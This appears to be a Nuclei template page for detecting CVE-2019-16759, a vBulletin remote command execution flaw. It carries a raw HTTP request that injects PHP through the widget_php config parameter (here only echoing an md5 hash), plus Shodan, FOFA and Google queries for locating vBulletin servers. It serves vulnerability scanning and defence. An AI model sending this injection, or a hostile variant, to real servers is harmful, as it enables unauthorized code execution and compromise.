Skip to content
Nuclei Templates

vBulletin 5.0.0-5.5.4 - Remote Command Execution

ID: CVE-2019-16759

Severity: critical

Author: madrobot

Tags: cve,cve2019,rce,kev,seclists,vbulletin

Description

Section titled “Description”

vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2019-16759


info:
  name: vBulletin 5.0.0-5.5.4 - Remote Command Execution
  author: madrobot
  severity: critical
  description: vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade vBulletin to a version that is not affected by CVE-2019-16759.
  reference:
    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/
    - https://seclists.org/fulldisclosure/2019/Sep/31
    - https://www.theregister.co.uk/2019/09/24/vbulletin_vbug_zeroday/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16759
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16759
    cwe-id: CWE-94
    epss-score: 0.97513
    epss-percentile: 0.99985
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    shodan-query:
      - http.component:"vBulletin"
      - http.html:"powered by vbulletin"
      - http.component:"vbulletin"
      - http.title:"powered by vbulletin"
      - cpe:"cpe:2.3:a:vbulletin:vbulletin"
    fofa-query:
      - body="powered by vbulletin"
      - title="powered by vbulletin"
    google-query:
      - intext:"powered by vbulletin"
      - intitle:"powered by vbulletin"
  tags: cve,cve2019,rce,kev,seclists,vbulletin


http:
  - raw:
      - |
        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "addcc9f9f2f40e2e6aca3079b73d9d17"


      - type: status
        status:
          - 200
# digest: 490a0046304402200f9e950a04b1dbf28ada929235e21d770b4250a863be5c3982d9ea12a8d9c8bc02205d988430b6fb6981aa19f26cc4990ddbae5d8b361c52053376ba1a1bb5394c78:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-16759.yaml"

View on Github